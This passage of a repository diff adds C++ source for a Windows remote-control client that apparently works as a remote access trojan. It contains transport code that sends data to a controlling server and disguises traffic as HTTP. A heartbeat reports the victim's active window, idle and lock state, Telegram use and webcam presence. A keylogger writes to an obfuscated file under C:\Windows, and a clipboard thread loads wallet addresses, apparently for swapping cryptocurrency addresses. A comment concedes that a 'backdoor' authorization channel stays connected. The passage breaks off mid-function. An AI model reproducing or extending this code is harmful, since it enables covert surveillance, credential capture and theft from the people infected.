m_Encoder->Encode(CompressedBuffer, ulCompressedLength, (LPBYTE)H.data());
m_WriteBuffer.WriteBuffer((PBYTE)H.data(), m_Encoder->GetFlagLen());
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
if (CompressedBuffer != buf) delete [] CompressedBuffer;
STOP_TICK;
// 分块发送
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask);
}
}
// 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask)
{
AUTO_TICK(50, std::to_string(cmd));
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
return FALSE;
// Mask
char* szBuffer = nullptr;
ULONG ulLength = 0;
(mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) :
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
if(szBuffer != src && srcSize > ulSplitLength) {
Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize);
}
bool isFail = false;
int iReturn = 0; //真正发送了多少
const char* Travel = szBuffer;
int i = 0;
int ulSended = 0;
const int ulSendRetry = 15;
// 大包优化:当数据量超过阈值时,尝试一次性发送更大的块
// SO_SNDBUF 已设为 256KB可以尝试一次发送更多数据
const ULONG LARGE_PACKET_THRESHOLD = 256 * 1024; // 256KB
ULONG actualSplitLength = ulSplitLength;
if (ulLength >= LARGE_PACKET_THRESHOLD) {
// 大包使用更大的分块,减少系统调用次数
actualSplitLength = 256 * 1024; // 一次发送256KB
}
// 依次发送
for (i = ulLength; i >= (int)actualSplitLength; i -= actualSplitLength) {
int remaining = actualSplitLength;
while (remaining > 0) {
int j = 0;
for (; j < ulSendRetry; ++j) {
iReturn = SendTo(Travel, remaining, 0);
if (iReturn > 0) {
break;
}
}
if (j == ulSendRetry) {
isFail = true;
break;
}
ulSended += iReturn;
Travel += iReturn;
remaining -= iReturn;
}
if (isFail) break;
}
// 发送最后的部分
if (!isFail && i>0) { //1024
int remaining = i;
while (remaining > 0) {
int j = 0;
for (; j < ulSendRetry; j++) {
iReturn = SendTo((char*)Travel, remaining, 0);
if (iReturn > 0) {
break;
}
}
if (j == ulSendRetry) {
isFail = true;
break;
}
ulSended += iReturn;
Travel += iReturn;
remaining -= iReturn;
}
}
if (szBuffer != src)
SAFE_DELETE_ARRAY(szBuffer);
if (isFail) {
return FALSE;
}
return (ulSended == ulLength) ? TRUE : FALSE;
}
VOID IOCPClient::Disconnect()
{
if (m_sClientSocket == INVALID_SOCKET)
return;
Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort);
CancelIo((HANDLE)m_sClientSocket);
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
m_bConnected = FALSE;
}
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
{
Mprintf("======> RunEventLoop begin\n");
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
Sleep(200);
setManagerCallBack(NULL, NULL, NULL);
Mprintf("======> RunEventLoop end\n");
}
BOOL is_valid()
{
return TRUE;
}
VOID IOCPClient::RunEventLoop(TrailCheck checker)
{
Mprintf("======> RunEventLoop begin\n");
checker = checker ? checker : is_valid;
#ifdef _DEBUG
checker = is_valid;
#endif
while (m_bIsRunning && checker())
Sleep(200);
setManagerCallBack(NULL, NULL, NULL);
Mprintf("======> RunEventLoop end\n");
}

311
client/IOCPClient.h Normal file
View File

@@ -0,0 +1,311 @@
// IOCPClient.h: interface for the IOCPClient class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#ifdef _WIN32
#include "stdafx.h"
#include <WinSock2.h>
#include <MSTcpIP.h>
#pragma comment(lib,"ws2_32.lib")
#endif
#include "Buffer.h"
#include "zstd/zstd.h"
#include "domain_pool.h"
#include "common/mask.h"
#include "common/header.h"
#define NO_AES
#include "common/encrypt.h"
#ifdef _WIN32
#include "SafeThread.h"
#else
#ifndef SAFE_DELETE
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_ARRAY
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
#include <sys/socket.h>
#include <netinet/in.h>
#endif
#include "IOCPBase.h"
#include <mutex>
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
enum { S_STOP = 0, S_RUN, S_END };
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
typedef int (*OnDisconnectCB)(void* userData);
class ProtocolEncoder
{
public:
virtual ~ProtocolEncoder() {}
virtual HeaderFlag GetHead() const
{
return "Shine";
}
virtual int GetHeadLen() const
{
return 13;
}
virtual int GetFlagLen() const
{
return 5;
}
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
virtual EncFun GetHeaderEncoder() const
{
return nullptr;
}
};
class HellEncoder : public ProtocolEncoder
{
private:
EncFun m_HeaderEnc;
Encoder *m_BodyEnc;
public:
HellEncoder(EncFun head, Encoder *body)
{
m_HeaderEnc = head;
m_BodyEnc = body;
}
~HellEncoder()
{
SAFE_DELETE(m_BodyEnc);
}
virtual HeaderFlag GetHead() const override
{
return ::GetHead(m_HeaderEnc);
}
virtual int GetHeadLen() const override
{
return 16;
}
virtual int GetFlagLen() const override
{
return 8;
}
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override
{
return m_BodyEnc->Encode(data, len, param);
}
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override
{
return m_BodyEnc->Decode(data, len, param);
}
virtual EncFun GetHeaderEncoder() const override
{
return m_HeaderEnc;
}
};
class IOCPManager
{
public:
virtual ~IOCPManager() {}
virtual BOOL IsAlive() const
{
return TRUE;
}
virtual BOOL IsReady() const
{
return TRUE;
}
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
// Tip: 在派生类实现该函数以便支持断线重连
virtual BOOL OnReconnect()
{
return FALSE;
}
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
IOCPManager* m_Manager = (IOCPManager*)user;
if (nullptr == m_Manager) {
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
return FALSE;
}
// 等待子类准备就绪才能处理数据, 1秒足够了
int i = 0;
for (; i < 1000 && !m_Manager->IsReady(); ++i)
Sleep(1);
if (!m_Manager->IsReady()) {
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
return FALSE;
}
if (i) {
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
}
m_Manager->OnReceive(szBuffer, ulLength);
return TRUE;
}
static int ReconnectProcess(void* user)
{
IOCPManager* m_Manager = (IOCPManager*)user;
if (nullptr == m_Manager) {
return FALSE;
}
return m_Manager->OnReconnect();
}
};
typedef BOOL(*TrailCheck)(void);
class IOCPClient : public IOCPBase
{
public:
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, CONNECT_ADDRESS *conn=0,
const std::string&pubIP="", void*main=0);
virtual ~IOCPClient();
int SendLoginInfo(const LOGIN_INFOR& logInfo)
{
LOGIN_INFOR tmp = logInfo;
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
return iRet;
}
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
std::string GetClientIP() const
{
return m_sLocPublicIP;
}
std::map<std::string, std::string> GetClientIPHeader() const
{
return m_sLocPublicIP.empty() ? std::map<std::string, std::string> {} :
std::map<std::string, std::string> { {"X-Forwarded-For", m_sLocPublicIP} };
}
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL)
{
return OnServerSending(szBuffer, ulOriginalLength, mask);
}
void SetServerAddress(const char* szServerIP, unsigned short uPort)
{
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
m_nHostPort = uPort;
}
std::string ServerIP() const
{
return m_sCurIP;
}
int ServerPort() const
{
return m_nHostPort;
}
BOOL IsRunning() const
{
return m_bIsRunning;
}
VOID StopRunning()
{
m_ReconnectFunc = NULL;
m_bIsRunning = FALSE;
}
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
VOID RunEventLoop(TrailCheck checker);
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const
{
return m_bConnected == TRUE;
}
BOOL Reconnect(void* manager)
{
Disconnect();
if (manager) m_Manager = manager;
return ConnectServer(NULL, 0);
}
const State& GetState() const
{
return g_bExit;
}
void SetMultiThreadCompress(int threadNum=0);
std::string GetClientID() const
{
return m_conn ? std::to_string(m_conn->clientID) : "";
}
std::string GetPublicIP() const
{
return m_sLocPublicIP;
}
CONNECT_ADDRESS* GetConnectionAddress() const
{
return m_conn;
}
IOCPManager* GetManager() const
{
return (IOCPManager*)m_Manager;
}
void* GetMain() const
{
return m_main;
}
void SetVerifyInfo(const std::string& msg, const std::string& hmac) {
m_LoginMsg = msg;
m_LoginSignature = hmac;
}
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags)
{
// TCP版本调用 recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // 函数支持 TCP/UDP
virtual int SendTo(const char* buf, int len, int flags)
{
return ::send(m_sClientSocket, buf, len, flags);
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
protected:
sockaddr_in m_ServerAddr;
SOCKET m_sClientSocket;
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL m_bIsRunning;
BOOL m_bConnected;
std::mutex m_Locker;
#if USING_CTX
ZSTD_CCtx* m_Cctx; // 压缩上下文
ZSTD_DCtx* m_Dctx; // 解压上下文
#endif
const State& g_bExit; // 全局状态量
void* m_Manager; // 用户数据
DataProcessCB m_DataProcess; // 处理用户数据
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
ProtocolEncoder* m_Encoder; // 加密
DomainPool m_Domain;
std::string m_sCurIP;
int m_nHostPort;
bool m_exit_while_disconnect;
PkgMask* m_masker;
BOOL m_EncoderType;
std::string m_sLocPublicIP;
CONNECT_ADDRESS *m_conn = NULL;
void *m_main = NULL;
public:
std::string m_LoginMsg; // 登录消息摘要
std::string m_LoginSignature; // 登录消息签名
};

118
client/IOCPKCPClient.cpp Normal file
View File

@@ -0,0 +1,118 @@
#include "IOCPKCPClient.h"
#include <windows.h>
#include <chrono>
#include <iostream>
IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect)
: IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false)
{
}
IOCPKCPClient::~IOCPKCPClient()
{
running_ = false;
if (updateThread_.joinable())
updateThread_.join();
if (kcp_)
ikcp_release(kcp_);
}
BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort);
if (!ret)
return FALSE;
// 初始化KCP
uint32_t conv = KCP_SESSION_ID; // conv 要与服务端匹配
kcp_ = ikcp_create(conv, this);
if (!kcp_)
return FALSE;
// 设置KCP参数
ikcp_nodelay(kcp_, 1, 40, 2, 0);
kcp_->rx_minrto = 30;
kcp_->snd_wnd = 128;
kcp_->rcv_wnd = 128;
// 设置发送回调函数KCP发送数据时调用
kcp_->output = IOCPKCPClient::kcpOutput;
running_ = true;
updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this);
m_bConnected = TRUE;
return TRUE;
}
// UDP收包线程调用将收到的UDP包送入KCP处理再尝试读取完整应用包
int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags)
{
// 先调用基类接收UDP原始数据
char udpBuffer[1500] = { 0 };
int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags);
if (recvLen <= 0)
return recvLen;
// 输入KCP协议栈
int inputRet = ikcp_input(kcp_, udpBuffer, recvLen);
if (inputRet < 0)
return -1;
// 从KCP中读取应用层数据写入buffer
int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize);
return kcpRecvLen; // >0表示收到完整应用数据0表示无完整包
}
bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag)
{
int iReceivedLength = ReceiveData(szBuffer, len, flag);
if (iReceivedLength <= 0)
{}
else {
szBuffer[iReceivedLength] = 0;
//正确接收就调用OnRead处理,转到OnRead
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
}
return true;
}
// 发送应用层数据时调用转发给KCP协议栈
int IOCPKCPClient::SendTo(const char* buf, int len, int flags)
{
if (!kcp_)
return -1;
int ret = ikcp_send(kcp_, buf, len);
if (ret < 0)
return -1;
// 主动调用flush加快发送
ikcp_flush(kcp_);
return ret;
}
// KCP发送数据回调将KCP生成的UDP包发送出去
int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user)
{
IOCPKCPClient* client = reinterpret_cast<IOCPKCPClient*>(user);
if (client->m_sClientSocket == INVALID_SOCKET)
return -1;
int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr));
if (sentLen == len)
return 0;
else
return -1;
}
// 独立线程定时调用ikcp_update保持KCP协议正常工作
void IOCPKCPClient::KCPUpdateLoop()
{
while (running_ && !g_bExit) {
IUINT32 current = GetTickCount64();
ikcp_update(kcp_, current);
std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms周期视需求调整
}
}

34
client/IOCPKCPClient.h Normal file
View File

@@ -0,0 +1,34 @@
#pragma once
#include "IOCPUDPClient.h"
#include "ikcp.h"
#include <thread>
#include <atomic>
class IOCPKCPClient : public IOCPUDPClient
{
public:
IOCPKCPClient(State& bExit, bool exit_while_disconnect = false);
virtual ~IOCPKCPClient();
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
// 重写接收函数输入UDP数据给KCP输出KCP层解包后的数据
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override;
// 重写发送函数将应用数据通过KCP发送
virtual int SendTo(const char* buf, int len, int flags) override;
private:
// KCP发送数据的回调函数负责调用UDP的sendto
static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user);
// 定时调用ikcp_update的线程函数
void KCPUpdateLoop();
private:
ikcpcb* kcp_;
std::thread updateThread_;
std::atomic<bool> running_;
};

66
client/IOCPUDPClient.cpp Normal file
View File

@@ -0,0 +1,66 @@
#include "IOCPUDPClient.h"
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
if (szServerIP != NULL && uPort != 0) {
SetServerAddress(szServerIP, uPort);
}
m_sCurIP = m_Domain.SelectIP();
unsigned short port = m_nHostPort;
// 创建 UDP socket
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (m_sClientSocket == INVALID_SOCKET) {
Mprintf("Failed to create UDP socket\n");
return FALSE;
}
// 初始化服务器地址结构
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
m_ServerAddr.sin_family = AF_INET;
m_ServerAddr.sin_port = htons(port);
#ifdef _WIN32
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
#else
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
Mprintf("Invalid address or address not supported\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
#endif
// UDP不调用 connect(),也不设置 TCP keep-alive 相关选项
Mprintf("UDP client socket created and ready to send.\n");
m_bConnected = TRUE;
// 创建工作线程(如果需要)
if (m_hWorkThread == NULL) {
#ifdef _WIN32
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
#else
pthread_t id = 0;
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
#endif
}
return TRUE;
}
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags)
{
sockaddr_in fromAddr;
int fromLen = sizeof(fromAddr);
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
}
int IOCPUDPClient::SendTo(const char* buf, int len, int flags)
{
if (len > 1200) {
Mprintf("UDP large packet may lost: %d bytes\n", len);
}
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
}

16
client/IOCPUDPClient.h Normal file
View File

@@ -0,0 +1,16 @@
#pragma once
#include "IOCPClient.h"
class IOCPUDPClient : public IOCPClient
{
public:
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect) {}
virtual ~IOCPUDPClient() {}
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
virtual int SendTo(const char* buf, int len, int flags) override;
};

1497
client/KernelManager.cpp Normal file

File diff suppressed because it is too large Load Diff

269
client/KernelManager.h Normal file
View File

@@ -0,0 +1,269 @@
// KernelManager.h: interface for the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include <vector>
#include "ClientApp.h"
#define MAX_THREADNUM 0x1000>>2
#include <iostream>
#include <string>
#include <iomanip>
#include <TlHelp32.h>
#include "LoginServer.h"
#include <common/iniFile.h>
// 根据配置决定采用什么通讯协议
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
class ActivityWindow
{
public:
std::string Check(DWORD threshold_ms = 6000)
{
auto idle = GetUserIdleTime();
BOOL isActive = (idle < threshold_ms);
if (isActive) {
return GetActiveWindowTitle();
}
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
}
private:
std::string FormatMilliseconds(DWORD ms)
{
DWORD totalSeconds = ms / 1000;
DWORD hours = totalSeconds / 3600;
DWORD minutes = (totalSeconds % 3600) / 60;
DWORD seconds = totalSeconds % 60;
std::stringstream ss;
ss << std::setfill('0')
<< std::setw(2) << hours << ":"
<< std::setw(2) << minutes << ":"
<< std::setw(2) << seconds;
return ss.str();
}
std::string GetActiveWindowTitle()
{
HWND hForegroundWindow = GetForegroundWindow();
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
}
DWORD GetLastInputTime()
{
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
GetLastInputInfo(&lii);
return lii.dwTime;
}
DWORD GetUserIdleTime()
{
return (GetTickCount64() - GetLastInputTime());
}
bool IsWorkstationLocked()
{
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
if (!hInput) return true;
char name[256] = {0};
DWORD needed;
bool isLocked = false;
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
isLocked = (_stricmp(name, "Winlogon") == 0);
}
CloseDesktop(hInput);
return isLocked;
}
};
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000) {
return;
}
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
// 转换成秒
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
class CKernelManager : public CManager
{
public:
CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
virtual ~CKernelManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
ThreadInfo* m_hKeyboard;
ThreadInfo m_hThread[MAX_THREADNUM];
// 此值在原代码中是用于记录线程数量当线程数量超出限制时m_hThread会越界而导致程序异常
// 因此我将此值的含义修改为"可用线程下标"代表数组m_hThread中所指位置可用即创建新的线程放置在该位置
ULONG m_ulThreadCount;
UINT GetAvailableIndex();
State& g_bExit; // Hide base class variable
static int g_IsAppExit;
MasterSettings m_settings;
RttEstimator m_nNetPing; // 网络状况
std::string m_LoginMsg; // 登录消息摘要
std::string m_LoginSignature; // 登录消息签名
// C2C 文件传输
std::string m_hash;
std::string m_hmac;
uint64_t m_MyClientID = 0;
void SetLoginMsg(const std::string& msg)
{
m_LoginMsg = msg;
}
// 发送心跳
virtual int SendHeartbeat()
{
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
Sleep(1000);
if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
Sleep(1000);
return 0;
}
if (g_bExit || !m_ClientObject->IsConnected())
return -1;
ActivityWindow checker;
auto s = checker.Check();
Heartbeat a(s, (int)(m_nNetPing.srtt * 1000)); // srtt是秒转为毫秒
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &a, sizeof(Heartbeat));
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
return 0;
}
bool SoftwareCheck(int type)
{
static std::map<int, std::string> m = {
{SOFTWARE_CAMERA, "摄像头"},
{SOFTWARE_TELEGRAM, "telegram.exe" },
};
static bool hasCamera = WebCamIsExist();
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
}
// 检查进程是否正在运行
bool IsProcessRunning(const std::vector<std::string>& processNames)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// 获取当前系统中所有进程的快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return true;
// 遍历所有进程
if (Process32First(hProcessSnap, &pe32)) {
do {
for (const auto& processName : processNames) {
// 如果进程名称匹配,则返回 true
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
SAFE_CLOSE_HANDLE(hProcessSnap);
return true;
}
}
} while (Process32Next(hProcessSnap, &pe32));
}
SAFE_CLOSE_HANDLE(hProcessSnap);
return false;
}
virtual uint64_t GetClientID() const override
{
return m_conn->clientID;
}
virtual bool IsAuthKernel() const {
return false;
}
virtual void SetClientApp(App* app) {
m_ClientApp = app;
}
App* m_ClientApp = nullptr;
};
// [IMPORTANT]
// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
class AuthKernelManager : public CKernelManager
{
public:
config* THIS_CFG = nullptr;
bool m_bFirstHeartbeat = true;
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: THIS_CFG(IsDebug ? new config : new iniFile),
CKernelManager(conn, ClientObject, hInstance, kb, s)
{
Mprintf("Init a authorization kernel manager: %p\n", this);
}
virtual ~AuthKernelManager() {
delete THIS_CFG;
Mprintf("UnInit a authorization kernel manager: %p\n", this);
}
virtual int SendHeartbeat()override;
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override;
virtual bool IsAuthKernel() const override {
return true;
}
};
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

634
client/KeyboardManager.cpp Normal file
View File

@@ -0,0 +1,634 @@
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "Common.h"
#include "KeyboardManager.h"
#include <tchar.h>
#if ENABLE_KEYBOARD
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#include <iostream>
#include <winbase.h>
#include <winuser.h>
#include "keylogger.h"
#include <iniFile.h>
#define CAPTION_SIZE 1024
// 这个库不支持一个进程运行2份键盘记录的需求例如分享主机
// 未来也许移除对clip的使用
#define USING_CLIP 0
#include "wallet.h"
#if USING_CLIP
#include "clip.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "clip_x64D.lib")
#else
#pragma comment(lib, "clip_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "clipd.lib")
#else
#pragma comment(lib, "clip.lib")
#endif
#endif
#else
#include "my_clip.h"
#endif
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{
#if USING_CLIP
clip::set_error_handler(NULL);
#endif
m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" };
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
strcpy_s(m_strRecordFile, path);
m_Buffer = new CircularBuffer(m_strRecordFile);
m_bIsWorking = true;
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
SetReady(TRUE);
Mprintf("CKeyboardManager1: Start %p\n", this);
}
CKeyboardManager1::~CKeyboardManager1()
{
m_bIsWorking = false;
WaitForSingleObject(m_hClipboard, INFINITE);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
delete m_Buffer;
Mprintf("~CKeyboardManager1: Stop %p\n", this);
}
void CKeyboardManager1::Notify()
{
if (NULL == this)
return;
m_mu.Lock();
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
WaitForDialogOpen();
}
void CKeyboardManager1::UpdateWallet(const std::string& wallet)
{
m_mu.Lock();
m_Wallet = StringToVector(wallet, ';', MAX_WALLET_NUM);
m_mu.Unlock();
}
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == COMMAND_NEXT)
NotifyDialogIsOpen();
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
m_bIsOfflineRecord = lpBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
m_Buffer->Clear();
GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile);
}
}
std::vector<std::string> CKeyboardManager1::GetWallet()
{
m_mu.Lock();
auto w = m_Wallet;
m_mu.Unlock();
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
